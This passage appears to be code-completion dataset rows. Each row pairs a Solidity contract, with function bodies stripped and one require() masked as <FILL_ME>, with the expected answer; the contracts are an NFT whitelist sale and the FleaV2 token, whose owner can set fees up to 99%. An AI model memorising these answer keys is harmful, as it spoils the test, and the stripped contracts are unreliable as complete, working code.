nonReentrant
{
require(block.timestamp > whiteListSaleStartTime, "not started");
require(block.timestamp < whiteListSaleEndTime, "has ended");
require(numberOfTokens > 0, "numberOfTokens cannot be 0");
require(<FILL_ME>)
require(
proof.verify(
whiteListMerkleRoot,
keccak256(abi.encodePacked(msg.sender, numberOfTokens))
),
"failed to verify WL merkle root"
);
require(
whiteListSaleRemainingCount >= numberOfTokens,
"whitelist sold out"
);
require(
msg.value == whiteListSaleMintPrice * numberOfTokens,
"sent ether value incorrect"
);
whiteListPurchased[msg.sender] = true;
whiteListSaleRemainingCount -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
NFT(mePunk).mint(msg.sender);
}
}
/* *************** */
/* ADMIN FUNCTIONS */
/* *************** */
function setMerkleRoot(bytes32 _whiteListMerkleRoot) external onlyOwner {
}
function setSaleData(
uint256 _whiteListSaleStartTime,
uint256 _whiteListSaleEndTime,
uint256 _whiteListSaleRemainingCount,
uint256 _whiteListSaleMintPrice
) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| !whiteListPurchased[msg.sender],"whiteListPurchased already" | 86,606 | !whiteListPurchased[msg.sender] |
"failed to verify WL merkle root" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
// 88b d88 88888888ba 88
// 888b d888 88 "8b 88
// 88`8b d8'88 88 ,8P 88
// 88 `8b d8' 88 ,adPPYba, 88aaaaaa8P' 88 88 8b,dPPYba, 88 ,d8
// 88 `8b d8' 88 a8P_____88 88""""""' 88 88 88P' `"8a 88 ,a8"
// 88 `8b d8' 88 8PP""""""" 88 88 88 88 88 8888[
// 88 `888' 88 "8b, ,aa 88 "8a, ,a88 88 88 88`"Yba,
// 88 `8' 88 `"Ybbd8"' 88 `"YbbdP'Y8 88 88 88 `Y8a
interface NFT {
function mint(address receiver) external;
}
contract MePunkWhiteListSale is Ownable, ReentrancyGuard {
using Strings for uint256;
using MerkleProof for bytes32[];
uint256 public whiteListSaleStartTime = 1648472400; // 3/28 9pm
uint256 public whiteListSaleEndTime = whiteListSaleStartTime + 1 days;
uint256 public whiteListSaleRemainingCount = 86;
uint256 public whiteListSaleMintPrice = 0.11 ether;
address public mePunk;
bytes32 public whiteListMerkleRoot;
mapping(address => bool) public whiteListPurchased;
constructor(address _mePunk) {
}
/* ************** */
/* USER FUNCTIONS */
/* ************** */
function buyMePunk(bytes32[] calldata proof, uint256 numberOfTokens)
external
payable
nonReentrant
{
require(block.timestamp > whiteListSaleStartTime, "not started");
require(block.timestamp < whiteListSaleEndTime, "has ended");
require(numberOfTokens > 0, "numberOfTokens cannot be 0");
require(!whiteListPurchased[msg.sender], "whiteListPurchased already");
require(<FILL_ME>)
require(
whiteListSaleRemainingCount >= numberOfTokens,
"whitelist sold out"
);
require(
msg.value == whiteListSaleMintPrice * numberOfTokens,
"sent ether value incorrect"
);
whiteListPurchased[msg.sender] = true;
whiteListSaleRemainingCount -= numberOfTokens;
for (uint256 i = 0; i < numberOfTokens; i++) {
NFT(mePunk).mint(msg.sender);
}
}
/* *************** */
/* ADMIN FUNCTIONS */
/* *************** */
function setMerkleRoot(bytes32 _whiteListMerkleRoot) external onlyOwner {
}
function setSaleData(
uint256 _whiteListSaleStartTime,
uint256 _whiteListSaleEndTime,
uint256 _whiteListSaleRemainingCount,
uint256 _whiteListSaleMintPrice
) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| proof.verify(whiteListMerkleRoot,keccak256(abi.encodePacked(msg.sender,numberOfTokens))),"failed to verify WL merkle root" | 86,606 | proof.verify(whiteListMerkleRoot,keccak256(abi.encodePacked(msg.sender,numberOfTokens))) |
"Trading not open" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradingOpen) { require(<FILL_ME>) }
if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| _noFees[sender]&&_noLimits[sender],"Trading not open" | 86,702 | _noFees[sender]&&_noLimits[sender] |
"TX exceeds limits" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(<FILL_ME>) }
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| _checkLimits(sender,recipient,amount),"TX exceeds limits" | 86,702 | _checkLimits(sender,recipient,amount) |
"Cannot exempt LP" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
if (noLimits || noFees) { require(<FILL_ME>) }
_noFees[ wallet ] = noFees;
_noLimits[ wallet ] = noLimits;
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| !_isLP[wallet],"Cannot exempt LP" | 86,702 | !_isLP[wallet] |
"Roundtrip too high" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap { }
event TokensAirdropped(uint256 totalWallets, uint256 totalTokens);
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function openTrading() external onlyOwner {
}
function _approveRouter(uint256 _tokenAmount) internal {
}
function addInitialLiquidity() external onlyOwner lockTaxSwap {
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
}
function _openTrading() internal {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
}
function _checkTradingOpen(address sender) private view returns (bool){
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
}
function getExemptions(address wallet) external view returns (bool noFees, bool noLimits) {
}
function setExemptions(address wallet, bool noFees, bool noLimits) external onlyOwner {
}
function setExtraLP(address lpContractAddress, bool isLiquidityPool) external onlyOwner {
}
function isLP(address wallet) external view returns (bool) {
}
function getTaxInfo() external view returns (uint8 buyTax, uint8 sellTax, uint16 sharesMarketing, uint16 sharesDevelopment, uint16 sharesLP, uint16 sharesTokenBurn ) {
}
function setTaxRates(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
require(<FILL_ME>)
_buyTaxRate = newBuyTax;
_sellTaxRate = newSellTax;
}
function setTaxDistribution(uint16 sharesTokenBurn, uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner {
}
function getAddresses() external view returns (address owner, address primaryLP, address marketing, address development, address LPowner ) {
}
function setTaxWallets(address newMarketing, address newDevelopment, address newLpOwner) external onlyOwner {
}
function getLimitsInfo() external view returns (uint256 maxTX, uint256 maxWallet, uint256 taxSwapMin, uint256 taxSwapMax ) {
}
function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
}
function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
}
function _burnTokens(address fromWallet, uint256 amount) private {
}
function _swapTaxAndLiquify() private lockTaxSwap {
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
}
function _distributeTaxEth(uint256 amount) private {
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
}
function burnTokens(uint256 amount) external {
}
function airdrop(address[] calldata addresses, uint256[] calldata tokenAmounts) external onlyOwner {
}
}
| newBuyTax+newSellTax<=99,"Roundtrip too high" | 86,702 | newBuyTax+newSellTax<=99 |
"LP cannot be tax wallet" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) { }
modifier onlyOwner() { }
function transferOwnership(address payable newOwner) external onlyOwner { }
event OwnershipTransferred(address _owner);
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FleaV2 is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 50_000_000 * (10**_decimals);
string private constant _name = "Flea Swap";
string private constant _symbol = "FLEA";
uint8 private _buyTaxRate = 5;
uint8 private _sellTaxRate = 30;
uint16 private _taxSharesMarketing = 3;
uint16 private _taxSharesDevelopment = 2;
uint16 private _taxSharesBurn = 1;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesBurn + _taxSharesLP;
address payable private _walletMarketing = payable(0xf7a2dF8f7F7d18D81e762d1374113835aeE65839);
address payable private _walletDevelopment = payable(0xE0Ea94022776e12E3C321e4FbDE54dE5526b2F6b);
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 85 / 100000;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address constant private _burnWallet = address(0);
address private _lpOwner;
